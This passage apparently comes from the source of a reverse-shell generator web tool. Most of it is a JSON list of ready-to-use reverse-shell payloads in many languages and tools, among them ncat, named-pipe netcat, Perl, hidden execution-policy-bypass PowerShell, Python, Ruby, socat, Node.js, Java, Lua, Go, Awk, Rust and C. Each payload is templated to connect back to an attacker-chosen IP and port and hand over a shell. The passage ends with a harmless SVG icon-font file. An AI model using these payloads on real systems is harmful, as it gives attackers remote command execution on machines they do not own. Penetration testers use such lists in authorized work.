${values.ip} ${values.port}\",\n        \"tags\": [\n            \"linux\",\n            \"mac\"\n        ]\n    },\n    {\n        \"name\": \"ncat -e\",\n        \"command\": \"ncat ${values.ip} ${values.port} -e {shell}\",\n        \"tags\": [\n            \"linux\",\n            \"mac\"\n        ]\n    },\n    {\n        \"name\": \"ncat.exe -e\",\n        \"command\": \"ncat.exe ${values.ip} ${values.port} -e {shell}\",\n        \"tags\": [\n            \"windows\"\n        ]\n    },\n    {\n        \"name\": \"ncat udp\",\n        \"command\": \"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|{shell} -i 2>&1|ncat -u ${values.ip} ${values.port} >/tmp/f\",\n        \"tags\": [\n            \"linux\",\n            \"mac\"\n        ]\n    },\n    {\n        \"name\": \"rustcat\",\n        \"command\": \"rcat ${values.ip} ${values.port} -r {shell}\",\n        \"tags\": [\n            \"linux\",\n            \"mac\"\n        ]\n    },\n    {\n        \"name\": \"Haskell #1\",\n        \"command\": \"module Main where\\n\\nimport System.Process\\n\\nmain = callCommand \\\"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | {shell} -i 2>&1 | nc ${values.ip} ${values.port} >/tmp/f\\\"\",\n        \"tags\": [\n            \"linux\",\n            \"mac\"\n        ]\n    },\n    {\n        \"name\": \"Perl\",\n        \"command\": \"perl -e 'use Socket;$i=\\\"${values.ip}\\\";$p=${values.port};socket(S,PF_INET,SOCK_STREAM,getprotobyname(\\\"tcp\\\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\\\">&S\\\");open(STDOUT,\\\">&S\\\");open(STDERR,\\\">&S\\\");exec(\\\"{shell} -i\\\");};'\",\n        \"tags\": [\n            \"linux\",\n            \"mac\"\n        ]\n    },\n    {\n        \"name\": \"Perl no sh\",\n        \"command\": \"perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,\\\"${values.ip}:${values.port}\\\");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'\",\n        \"tags\": [\n            \"linux\",\n            \"mac\"\n        ]\n    },\n    {\n        \"name\": \"PowerShell #1\",\n        \"command\": \"powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient(\\\"${values.ip}\\\",${values.port});$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + \\\"PS \\\" + (pwd).Path + \\\"> \\\";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()\",\n        \"tags\": [\n            \"windows\"\n        ]\n    },\n    {\n        \"name\": \"PowerShell #2\",\n        \"command\": \"powershell -nop -c \\\"$client = New-Object System.Net.Sockets.TCPClient('${values.ip}',${values.port});$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()\\\"\",\n        \"tags\": [\n            \"windows\"\n        ]\n    },\n    {\n        \"name\": \"PowerShell #3\",\n        \"command\": \"powershell -nop -W hidden -noni -ep bypass -c \\\"$TCPClient = New-Object Net.Sockets.TCPClient('${values.ip}', ${values.port});$NetworkStream = $TCPClient.GetStream();$StreamWriter = New-Object IO.StreamWriter($NetworkStream);function WriteToStream ($String) {[byte[]]$script:Buffer = 0..$TCPClient.ReceiveBufferSize | % {0};$StreamWriter.Write($String + 'SHELL> ');$StreamWriter.Flush()}WriteToStream '';while(($BytesRead = $NetworkStream.Read($Buffer, 0, $Buffer.Length)) -gt 0) {$Command = ([text.encoding]::UTF8).GetString($Buffer, 0, $BytesRead - 1);$Output = try {Invoke-Expression $Command 2>&1 | Out-String} catch {$_ | Out-String}WriteToStream ($Output)}$StreamWriter.Close()\\\"\",\n        \"tags\": [\n            \"windows\"\n        ]\n    },\n    {\n        \"name\": \"PowerShell #4 (TLS)\",\n        \"command\": \"powershell -nop -W hidden -noni -ep bypass -c \\\"$TCPClient = New-Object Net.Sockets.TCPClient('${values.ip}', ${values.port});$NetworkStream = $TCPClient.GetStream();$SslStream = New-Object Net.Security.SslStream($NetworkStream,$false,({$true} -as [Net.Security.RemoteCertificateValidationCallback]));$SslStream.AuthenticateAsClient('cloudflare-dns.com',$null,$false);if(!$SslStream.IsEncrypted -or !$SslStream.IsSigned) {$SslStream.Close();exit}$StreamWriter = New-Object IO.StreamWriter($SslStream);function WriteToStream ($String) {[byte[]]$script:Buffer = 0..$TCPClient.ReceiveBufferSize | % {0};$StreamWriter.Write($String + 'SHELL> ');$StreamWriter.Flush()};WriteToStream '';while(($BytesRead = $SslStream.Read($Buffer, 0, $Buffer.Length)) -gt 0) {$Command = ([text.encoding]::UTF8).GetString($Buffer, 0, $BytesRead - 1);$Output = try {Invoke-Expression $Command 2>&1 | Out-String} catch {$_ | Out-String}WriteToStream ($Output)}$StreamWriter.Close()\\\"\",\n        \"tags\": [\n            \"windows\"\n        ]\n    },\n    {\n        \"name\": \"Python #1\",\n        \"command\": \"export RHOST=\\\"${values.ip}\\\";export RPORT=${values.port};python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv(\\\"RHOST\\\"),int(os.getenv(\\\"RPORT\\\"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\\\"{shell}\\\")'\",\n        \"tags\": [\n            \"linux\",\n            \"mac\"\n        ]\n    },\n    {\n        \"name\": \"Python #2\",\n        \"command\": \"python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\"${values.ip}\\\",${values.port}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\\\"{shell}\\\")'\",\n        \"tags\": [\n            \"linux\",\n            \"mac\"\n        ]\n    },\n    {\n        \"name\": \"Python3 #1\",\n        \"command\": \"export RHOST=\\\"${values.ip}\\\";export RPORT=${values.port};python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv(\\\"RHOST\\\"),int(os.getenv(\\\"RPORT\\\"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\\\"{shell}\\\")'\",\n        \"tags\": [\n            \"linux\",\n            \"mac\"\n        ]\n    },\n    {\n        \"name\": \"Python3 #2\",\n        \"command\": \"python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\"${values.ip}\\\",${values.port}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\\\"{shell}\\\")'\",\n        \"tags\": [\n            \"linux\",\n            \"mac\"\n        ]\n    },\n    {\n        \"name\": \"Python3 Windows\",\n        \"command\": \"import os,socket,subprocess,threading;\\ndef s2p(s, p):\\n    while True:\\n        data = s.recv(1024)\\n        if len(data) > 0:\\n            p.stdin.write(data)\\n            p.stdin.flush()\\n\\ndef p2s(s, p):\\n    while True:\\n        s.send(p.stdout.read(1))\\n\\ns=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\\ns.connect((\\\"${values.ip}\\\",${values.port}))\\n\\np=subprocess.Popen([\\\"{shell}\\\"], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE)\\n\\ns2p_thread = threading.Thread(target=s2p, args=[s, p])\\ns2p_thread.daemon = True\\ns2p_thread.start()\\n\\np2s_thread = threading.Thread(target=p2s, args=[s, p])\\np2s_thread.daemon = True\\np2s_thread.start()\\n\\ntry:\\n    p.wait()\\nexcept KeyboardInterrupt:\\n    s.close()\",\n        \"tags\": [\n            \"windows\"\n        ]\n    },\n    {\n        \"name\": \"Python3 shortest\",\n        \"command\": \"python3 -c 'import os,pty,socket;s=socket.socket();s.connect((\\\"${values.ip}\\\",${values.port}));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn(\\\"{shell}\\\")'\",\n        \"tags\": [\n            \"linux\"\n        ]\n    },\n    {\n        \"name\": \"Ruby #1\",\n        \"command\": \"ruby -rsocket -e'spawn(\\\"sh\\\",[:in,:out,:err]=>TCPSocket.new(\\\"${values.ip}\\\",${values.port}))'\",\n        \"tags\": [\n            \"linux\",\n            \"mac\"\n        ]\n    },\n    {\n        \"name\": \"Ruby no sh\",\n        \"command\": \"ruby -rsocket -e'exit if fork;c=TCPSocket.new(\\\"${values.ip}\\\",\\\"${values.port}\\\");loop{c.gets.chomp!;(exit! if $_==\\\"exit\\\");($_=~/cd (.+)/i?(Dir.chdir($1)):(IO.popen($_,?r){|io|c.print io.read}))rescue c.puts \\\"failed: #{$_}\\\"}'\",\n        \"tags\": [\n            \"linux\",\n            \"mac\"\n        ]\n    },\n    {\n        \"name\": \"socat #1\",\n        \"command\": \"socat TCP:${values.ip}:${values.port} EXEC:{shell}\",\n        \"tags\": [\n            \"linux\",\n            \"mac\"\n        ]\n    },\n    {\n        \"name\": \"socat #2 (TTY)\",\n        \"command\": \"socat TCP:${values.ip}:${values.port} EXEC:'{shell}',pty,stderr,setsid,sigint,sane\",\n        \"tags\": [\n            \"linux\",\n            \"mac\"\n        ]\n    },\n    {\n        \"name\": \"node.js\",\n        \"command\": \"require('child_process').exec('nc -e {shell} ${values.ip} ${values.port}')\",\n        \"tags\": [\n            \"linux\",\n            \"mac\"\n        ]\n    },\n    {\n        \"name\": \"node.js #2\",\n        \"command\": \"(function(){\\r\\n    var net = require(\\\"net\\\"),\\r\\n        cp = require(\\\"child_process\\\"),\\r\\n        sh = cp.spawn(\\\"\\\\{shell}\\\", []);\\r\\n    var client = new net.Socket();\\r\\n    client.connect(${values.port}, \\\"${values.ip}\\\", function(){\\r\\n        client.pipe(sh.stdin);\\r\\n        sh.stdout.pipe(client);\\r\\n        sh.stderr.pipe(client);\\r\\n    });\\r\\n    return \\/a\\/; \\/\\/ Prevents the Node.js application from crashing\\r\\n})();\",\n        \"tags\": [\n            \"linux\",\n            \"mac\",\n            \"windows\"\n        ]\n    },\n    {\n        \"name\": \"Java #1\",\n        \"command\": \"public class shell {\\n    public static void main(String[] args) {\\n        Process p;\\n        try {\\n            p = Runtime.getRuntime().exec(\\\"bash -c $@|bash 0 echo bash -i >& /dev/tcp/${values.ip}/${values.port} 0>&1\\\");\\n            p.waitFor();\\n            p.destroy();\\n        } catch (Exception e) {}\\n    }\\n}\",\n        \"tags\": [\n            \"linux\",\n            \"mac\"\n        ]\n    },\n    {\n        \"name\": \"Java #2\",\n        \"command\": \"public class shell {\\n    public static void main(String[] args) {\\n        ProcessBuilder pb = new ProcessBuilder(\\\"bash\\\", \\\"-c\\\", \\\"$@| bash -i >& /dev/tcp/${values.ip}/${values.port} 0>&1\\\")\\n            .redirectErrorStream(true);\\n        try {\\n            Process p = pb.start();\\n            p.waitFor();\\n            p.destroy();\\n        } catch (Exception e) {}\\n    }\\n}\",\n        \"tags\": [\n            \"linux\",\n            \"mac\"\n        ]\n    },\n    {\n        \"name\": \"Java #3\",\n        \"command\": \"import java.io.InputStream;\\nimport java.io.OutputStream;\\nimport java.net.Socket;\\n\\npublic class shell {\\n    public static void main(String[] args) {\\n        String host = \\\"${values.ip}\\\";\\n        int port = ${values.port};\\n        String cmd = \\\"{shell}\\\";\\n        try {\\n            Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start();\\n            Socket s = new Socket(host, port);\\n            InputStream pi = p.getInputStream(), pe = p.getErrorStream(), si = s.getInputStream();\\n            OutputStream po = p.getOutputStream(), so = s.getOutputStream();\\n            while (!s.isClosed()) {\\n                while (pi.available() > 0)\\n                    so.write(pi.read());\\n                while (pe.available() > 0)\\n                    so.write(pe.read());\\n                while (si.available() > 0)\\n                    po.write(si.read());\\n                so.flush();\\n                po.flush();\\n                Thread.sleep(50);\\n                try {\\n                    p.exitValue();\\n                    break;\\n                } catch (Exception e) {}\\n            }\\n            p.destroy();\\n            s.close();\\n        } catch (Exception e) {}\\n    }\\n}\",\n        \"tags\": [\n            \"windows\",\n            \"linux\",\n            \"mac\"\n        ]\n    },\n    {\n        \"name\": \"Javascript\",\n        \"command\": \"String command = \\\"var host = \\\\'${values.ip}\\\\';\\\" +\\r\\n                       \\\"var port = ${values.port};\\\" +\\r\\n                       \\\"var cmd = \\\\'{shell}\\\\';\\\"+\\r\\n                       \\\"var s = new java.net.Socket(host, port);\\\" +\\r\\n                       \\\"var p = new java.lang.ProcessBuilder(cmd).redirectErrorStream(true).start();\\\"+\\r\\n                       \\\"var pi = p.getInputStream(), pe = p.getErrorStream(), si = s.getInputStream();\\\"+\\r\\n                       \\\"var po = p.getOutputStream(), so = s.getOutputStream();\\\"+\\r\\n                       \\\"print (\\\\'Connected\\\\');\\\"+\\r\\n                       \\\"while (!s.isClosed()) {\\\"+\\r\\n                       \\\"    while (pi.available() > 0)\\\"+\\r\\n                       \\\"        so.write(pi.read());\\\"+\\r\\n                       \\\"    while (pe.available() > 0)\\\"+\\r\\n                       \\\"        so.write(pe.read());\\\"+\\r\\n                       \\\"    while (si.available() > 0)\\\"+\\r\\n                       \\\"        po.write(si.read());\\\"+\\r\\n                       \\\"    so.flush();\\\"+\\r\\n                       \\\"    po.flush();\\\"+\\r\\n                       \\\"    java.lang.Thread.sleep(50);\\\"+\\r\\n                       \\\"    try {\\\"+\\r\\n                       \\\"        p.exitValue();\\\"+\\r\\n                       \\\"        break;\\\"+\\r\\n                       \\\"    }\\\"+\\r\\n                       \\\"    catch (e) {\\\"+\\r\\n                       \\\"    }\\\"+\\r\\n                       \\\"}\\\"+\\r\\n                       \\\"p.destroy();\\\"+\\r\\n                       \\\"s.close();\\\";\\r\\nString x = \\\"\\\\\\\"\\\\\\\".getClass().forName(\\\\\\\"javax.script.ScriptEngineManager\\\\\\\").newInstance().getEngineByName(\\\\\\\"JavaScript\\\\\\\").eval(\\\\\\\"\\\"+command+\\\"\\\\\\\")\\\";\\r\\nref.add(new StringRefAddr(\\\"x\\\", x);\",\n        \"tags\": [\n            \"linux\",\n            \"mac\",\n            \"windows\"\n        ]\n    },\n    {\n        \"name\": \"Groovy\",\n        \"command\": \"String host=\\\"${values.ip}\\\";int port=${values.port};String cmd=\\\"{shell}\\\";Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();\",\n        \"tags\": [\n            \"windows\"\n        ]\n    },\n    {\n        \"name\": \"telnet\",\n        \"command\": \"TF=$(mktemp -u);mkfifo $TF && telnet ${values.ip} ${values.port} 0<$TF | {shell} 1>$TF\",\n        \"tags\": [\n            \"linux\",\n            \"mac\"\n        ]\n    },\n    {\n        \"name\": \"zsh\",\n        \"command\": \"zsh -c 'zmodload zsh/net/tcp && ztcp ${values.ip} ${values.port} && zsh >&$REPLY 2>&$REPLY 0>&$REPLY'\",\n        \"tags\": [\n            \"linux\",\n            \"mac\"\n        ]\n    },\n    {\n        \"name\": \"Lua #1\",\n        \"command\": \"lua -e \\\"require('socket');require('os');t=socket.tcp();t:connect('${values.ip}','${values.port}');os.execute('{shell} -i <&3 >&3 2>&3');\\\"\",\n        \"tags\": [\n            \"linux\"\n        ]\n    },\n    {\n        \"name\": \"Lua #2\",\n        \"command\": \"lua5.1 -e 'local host, port = \\\"${values.ip}\\\", ${values.port} local socket = require(\\\"socket\\\") local tcp = socket.tcp() local io = require(\\\"io\\\") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, \\\"r\\\") local s = f:read(\\\"*a\\\") f:close() tcp:send(s) if status == \\\"closed\\\" then break end end tcp:close()'\",\n        \"tags\": [\n            \"linux\",\n            \"windows\"\n        ]\n    },\n    {\n        \"name\": \"Golang\",\n        \"command\": \"echo 'package main;import\\\"os/exec\\\";import\\\"net\\\";func main(){c,_:=net.Dial(\\\"tcp\\\",\\\"${values.ip}:${values.port}\\\");cmd:=exec.Command(\\\"{shell}\\\");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go\",\n        \"tags\": [\n            \"linux\",\n            \"mac\",\n            \"windows\"\n        ]\n    },\n    {\n        \"name\": \"Vlang\",\n        \"command\": \"echo 'import os' > /tmp/t.v && echo 'fn main() { os.system(\\\"nc -e {shell} ${values.ip} ${values.port} 0>&1\\\") }' >> /tmp/t.v && v run /tmp/t.v && rm /tmp/t.v\",\n        \"tags\": [\n            \"linux\",\n            \"mac\"\n        ]\n    },\n    {\n        \"name\": \"Awk\",\n        \"command\": \"awk 'BEGIN {s = \\\"/inet/tcp/0/${values.ip}/${values.port}\\\"; while(42) { do{ printf \\\"shell>\\\" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != \\\"exit\\\") close(s); }}' /dev/null\",\n        \"tags\": [\n            \"linux\",\n            \"mac\"\n        ]\n    },\n    {\n        \"name\": \"Dart\",\n        \"command\": \"import 'dart:io';\\nimport 'dart:convert';\\n\\nmain() {\\n  Socket.connect(\\\"${values.ip}\\\", ${values.port}).then((socket) {\\n    socket.listen((data) {\\n      Process.start('{shell}', []).then((Process process) {\\n        process.stdin.writeln(new String.fromCharCodes(data).trim());\\n        process.stdout\\n          .transform(utf8.decoder)\\n          .listen((output) { socket.write(output); });\\n      });\\n    },\\n    onDone: () {\\n      socket.destroy();\\n    });\\n  });\\n}\",\n        \"tags\": [\n            \"linux\",\n            \"mac\",\n            \"windows\"\n        ]\n    },\n    {\n        \"name\": \"Rust\",\n        \"command\": \"use std::net::TcpStream;\\nuse std::os::unix::io::{AsRawFd, FromRawFd};\\nuse std::process::{Command, Stdio};\\n\\nfn main() {\\n let s = TcpStream::connect(\\\"${values.ip}:${values.port}\\\").unwrap();\\n let fd = s.as_raw_fd();\\n Command::new(\\\"{shell}\\\")\\n .arg(\\\"-i\\\")\\n .stdin(unsafe { Stdio::from_raw_fd(fd) })\\n .stdout(unsafe { Stdio::from_raw_fd(fd) })\\n .stderr(unsafe { Stdio::from_raw_fd(fd) })\\n .spawn()\\n .unwrap()\\n .wait()\\n .unwrap();\\n}\",\n        \"tags\": [\n            \"linux\",\n            \"mac\",\n            \"windows\"\n        ]\n    },\n    {\n        \"name\": \"C\",\n        \"command\": \"#include <stdio.h>\\n#include <unistd.h>\\n#include <netinet/in.h>\\n#include <sys/types.h>\\n#include <sys/socket.h>\\n\\n#define REMOTE_ADDR \\\"${values.ip}\\\"\\n#define REMOTE_PORT ${values.port} \\n\\nint main(int argc, char *argv[])\\n{\\n struct sockaddr_in sa;\\n int s;\\n\\n sa.sin_family = AF_INET;\\n sa.sin_addr.s_addr = inet_addr(REMOTE_ADDR);\\n sa.sin_port = htons(REMOTE_PORT);\\n\\n s = socket(AF_INET, SOCK_STREAM, 0);\\n connect(s, (struct sockaddr *)&sa, sizeof(sa));\\n dup2(s, 0);\\n dup2(s, 1);\\n dup2(s, 2);\\n\\n execve(\\\"{shell}\\\", 0, 0);\\n return 0;\\n}\",\n        \"tags\": [\n            \"linux\",\n            \"mac\",\n            \"windows\"\n        ]\n    }\n]"
  },
  {
    "path": "src/assets/img/icons/iconfont.js",
    "content": "!function(t){var c,l,h,a,o,v='<svg><symbol id=\"icon-Encode-File\" viewBox=\"0 0 1024 1024\"><path d=\"M409.6 853.333333H34.133333c-10.24 0-17.066667-6.826667-17.066666-17.066666v-546.133334c0-3.413333 3.413333-10.24 3.413333-13.653333l273.066667-273.066667c3.413333 0 10.24-3.413333 13.653333-3.413333h273.066667c10.24 0 17.066667 6.826667 17.066666 17.066667v477.866666c0 10.24-6.826667 17.066667-17.066666 17.066667s-17.066667-6.826667-17.066667-17.066667V34.133333H314.026667L51.2 296.96V819.2H409.6c10.24 0 17.066667 6.826667 17.066667 17.066667s-6.826667 17.066667-17.066667 17.066666z\" fill=\"\" ></path><path d=\"M307.2 307.2H34.133333c-10.24 0-17.066667-6.826667-17.066666-17.066667S23.893333 273.066667 34.133333 273.066667h256V17.066667c0-10.24 6.826667-17.066667 17.066667-17.066667s17.066667 6.826667 17.066667 17.066667v273.066666c0 10.24-6.826667 17.066667-17.066667 17.066667zM921.6 409.6h-6.826667c-6.826667-3.413333-10.24-10.24-10.24-17.066667V204.8c0-37.546667-30.72-68.266667-68.266666-68.266667H682.666667c-10.24 0-17.066667-6.826667-17.066667-17.066666s6.826667-17.066667 17.066667-17.066667h153.6c58.026667 0 102.4 44.373333 102.4 102.4v146.773333l37.546666-37.546666c6.826667-6.826667 17.066667-6.826667 23.893334 0s6.826667 17.066667 0 23.893333l-68.266667 68.266667s-6.826667 3.413333-10.24 3.413333z\" fill=\"\" ></path><path d=\"M921.6 409.6c-3.413333 0-10.24 0-13.653333-3.413333l-68.266667-68.266667c-6.826667-6.826667-6.826667-17.066667 0-23.893333s17.066667-6.826667 23.893333 0l68.266667 68.266666c6.826667 6.826667 6.826667 17.066667 0 23.893334 0 3.413333-6.826667 3.413333-10.24 3.413333zM921.6 1024c-10.24 0-17.066667-6.826667-17.066667-17.066667v-409.6c0-10.24 6.826667-17.066667 17.066667-17.066666s17.066667 6.826667 17.066667 17.066666v409.6c0 10.24-6.826667 17.066667-17.066667 17.066667zM853.333333 955.733333c-10.24 0-17.066667-6.826667-17.066666-17.066666v-341.333334c0-10.24 6.826667-17.066667 17.066666-17.066666s17.066667 6.826667 17.066667 17.066666v341.333334c0 10.24-6.826667 17.066667-17.066667 17.066666zM785.066667 955.733333c-10.24 0-17.066667-6.826667-17.066667-17.066666v-341.333334c0-10.24 6.826667-17.066667 17.066667-17.066666s17.066667 6.826667 17.066666 17.066666v341.333334c0 10.24-6.826667 17.066667-17.066666 17.066666zM716.8 1024c-10.24 0-17.066667-6.826667-17.066667-17.066667v-409.6c0-10.24 6.826667-17.066667 17.066667-17.066666s17.066667 6.826667 17.066667 17.066666v409.6c0 10.24-6.826667 17.066667-17.066667 17.066667zM512 1024c-10.24 0-17.066667-6.826667-17.066667-17.066667v-409.6c0-10.24 6.826667-17.066667 17.066667-17.066666s17.066667 6.826667 17.066667 17.066666v409.6c0 10.24-6.826667 17.066667-17.066667 17.066667zM648.533333 955.733333c-10.24 0-17.066667-6.826667-17.066666-17.066666v-341.333334c0-10.24 6.826667-17.066667 17.066666-17.066666s17.066667 6.826667 17.066667 17.066666v341.333334c0 10.24-6.826667 17.066667-17.066667 17.066666zM580.266667 955.733333c-10.24 0-17.066667-6.826667-17.066667-17.066666v-341.333334c0-10.24 6.826667-17.066667 17.066667-17.066666s17.066667 6.826667 17.066666 17.066666v341.333334c0 10.24-6.826667 17.066667-17.066666 17.066666z\" fill=\"\" ></path><path d=\"M785.066667 1006.933333m-17.066667 0a17.066667 17.066667 0 1 0 34.133333 0 17.066667 17.066667 0 1 0-34.133333 0Z\" fill=\"\" ></path><path d=\"M853.333333 1006.933333m-17.066666 0a17.066667 17.066667 0 1 0 34.133333 0 17.066667 17.066667 0 1 0-34.133333 0Z\" fill=\"\" ></path><path d=\"M580.266667 1006.933333m-17.066667 0a17.066667 17.066667 0 1 0 34.133333 0 17.066667 17.066667 0 1 0-34.133333 0Z\" fill=\"\" ></path><path d=\"M648.533333 1006.933333m-17.066666 0a17.066667 17.066667 0 1 0 34.133333 0 17.066667 17.066667 0 1 0-34.133333 0Z\" fill=\"\" ></path></symbol><symbol id=\"icon-shield\" viewBox=\"0 0 1024 1024\"><path d=\"M768 548.571429V182.857143H512v649.714286q68-36 121.714286-78.285715 134.285714-105.142857 134.285714-205.714285z m109.714286-438.857143v438.857143q0 49.142857-19.142857 97.428571t-47.428572 85.714286-67.428571 72.857143-72.285715 58.857142-69.142857 44.285715-51.142857 28.285714-24.285714 11.428571q-6.857143 3.428571-14.857143 3.428572t-14.857143-3.428572q-9.142857-4-24.285714-11.428571t-51.142857-28.285714-69.142857-44.285715-72.285715-58.857142-67.428571-72.857143-47.428572-85.714286T146.285714 548.571429V109.714286q0-14.857143 10.857143-25.714286t25.714286-10.857143h658.285714q14.857143 0 25.714286 10.857143t10.857143 25.714286z\"  ></path></symbol><symbol id=\"icon-http\" viewBox=\"0 0 1024 1024\"><path d=\"M192 469.333333H106.666667v-85.333333H42.666667v256h64v-106.666667h85.333333v106.666667h64V384H192v85.333333z m106.666667-21.333333h64v192h64v-192h64v-64h-192v64z m234.666666 0h64v192h64v-192h64v-64h-192v64z m384-64h-149.333333v256h64v-85.333333h85.333333c36.266667 0 64-27.733333 64-64v-42.666667c0-36.266667-27.733333-64-64-64z m0 106.666667h-85.333333v-42.666667h85.333333v42.666667z\"  ></path></symbol><symbol id=\"icon-web_link\" viewBox=\"0 0 1024 1024\"><path d=\"M531.692308 39.384615C269.784615 39.384615 59.076923 250.092308 59.076923 512s210.707692 472.615385 472.615385 472.615385 472.615385-210.707692 472.615384-472.615385S793.6 39.384615 531.692308 39.384615z m59.076923 675.446154c-29.538462 29.538462-39.384615 86.646154-51.2 126.030769-1.969231 7.876923-7.876923 15.753846-15.753846 19.692308l-19.692308 9.846154c-11.815385 5.907692-25.6 3.938462-35.446154-5.907692-19.692308-17.723077-35.446154-45.292308-35.446154-72.861539 0-47.261538-78.769231-31.507692-78.769231-126.030769 0-76.8-98.461538-122.092308-169.353846-88.615385-5.907692 1.969231-11.815385 5.907692-17.723077 5.907693-11.815385 3.938462-23.630769-3.938462-25.6-15.753846C139.815385 549.415385 137.846154 531.692308 137.846154 512c0-94.523077 33.476923-181.169231 88.615384-248.123077 0-1.969231 1.969231-1.969231 3.938462-1.969231 47.261538-55.138462 108.307692-98.461538 179.2-122.092307 17.723077-5.907692 33.476923 13.784615 23.630769 29.538461-7.876923 11.815385-11.815385 23.630769-11.815384 33.476923 1.969231 41.353846-37.415385 66.953846-55.138462 61.046154-15.753846-5.907692-59.076923 21.661538-19.692308 41.353846l21.661539 9.846154c1.969231 0 3.938462 1.969231 3.938461 1.969231l5.907693 3.938461c70.892308 41.353846 57.107692 74.830769 27.56923 126.03077-33.476923 55.138462-47.261538 0-94.523076-15.753847s-94.523077 15.753846-78.769231 47.261539c15.753846 31.507692 63.015385 0 94.523077 31.507692 31.507692 31.507692 31.507692 78.769231 126.030769 47.261539 94.523077-31.507692 110.276923-15.753846 141.784615 15.753846 27.569231 31.507692 43.323077 94.523077-3.938461 141.784615z m250.092307-3.938461c-37.415385-43.323077 0-143.753846-45.292307-200.861539-49.230769-61.046154-112.246154 1.969231-173.292308-94.523077-57.107692-92.553846 15.753846-169.353846 90.584615-194.953846 19.692308-7.876923 41.353846-9.846154 63.015385-9.846154 3.938462 0 9.846154 1.969231 13.784615 5.907693 82.707692 70.892308 135.876923 177.230769 135.876924 295.384615 0 70.892308-19.692308 137.846154-51.2 194.953846-7.876923 11.815385-23.630769 13.784615-33.476924 3.938462z\"  ></path></symbol><symbol id=\"icon-Cloud\" viewBox=\"0 0 1424 1024\"><path d=\"M1242.261914 1023.997329l-886.826208-1.023998A127.242798 127.242798 0 0 1 338.472968 1023.997329 340.011635 340.011635 0 0 1 0.108633 675.393021 348.737873 348.737873 0 0 1 276.765998 333.912172a343.217192 343.217192 0 0 1 680.958224-51.155344 193.580017 193.580017 0 0 1 31.165136-2.493211 207.337198 207.337198 0 0 1 205.689898 208.539282 198.967133 198.967133 0 0 1-1.6473 25.688976 255.331508 255.331508 0 0 1 59.926105 495.614707v-0.311651z m-40.06946-90.200808a198.87809 198.87809 0 0 0 133.564869-164.997135 164.730005 164.730005 0 0 0-195.360882-161.613492l-48.395004-64.912526a117.358998 117.358998 0 0 0-103.201122-171.897986 114.865787 114.865787 0 0 0-50.264913 12.065359l-63.665921-39.713287a254.708205 254.708205 0 1 0-509.371888 5.876854c0 6.989895 0.534259 13.935268 1.068519 20.880641l-41.182501 48.528569A257.646632 257.646632 0 0 0 89.151879 675.393021a251.324562 251.324562 0 0 0 249.321089 258.225413H1202.192454z\"  ></path></symbol><symbol id=\"icon-powershell\" viewBox=\"0 0 1024 1024\"><path d=\"M989.06624 131.285333c24.234667 0 39.381333 19.754667 33.792 44.16l-156.117333 681.856c-5.546667 24.405333-29.738667 44.16-53.973334 44.16H34.95424c-24.234667 0-39.381333-19.754667-33.792-44.16L157.279573 175.445333c5.546667-24.405333 29.738667-44.16 53.973334-44.16h777.813333z m-357.333333 398.72c10.709333-16.810667 9.685333-38.613333-3.84-53.034666L389.215573 223.061333c-16.213333-17.28-44.245333-17.365333-62.549333-0.170666-18.304 17.194667-19.968 45.098667-3.754667 62.336l198.912 211.626666v4.693334l-316.586666 229.248c-19.2 13.952-22.741333 41.685333-7.978667 61.994666 14.762667 20.309333 42.282667 25.472 61.44 11.52l351.104-252.117333c11.946667-8.405333 18.688-15.616 21.930667-22.186667z m-119.296 187.690667a39.594667 39.594667 0 0 0-39.850667 39.381333c0 21.76 17.834667 39.381333 39.850667 39.381334h189.141333a39.594667 39.594667 0 0 0 39.850667-39.381334 39.594667 39.594667 0 0 0-39.850667-39.381333H512.436907z\"  ></path></symbol><symbol 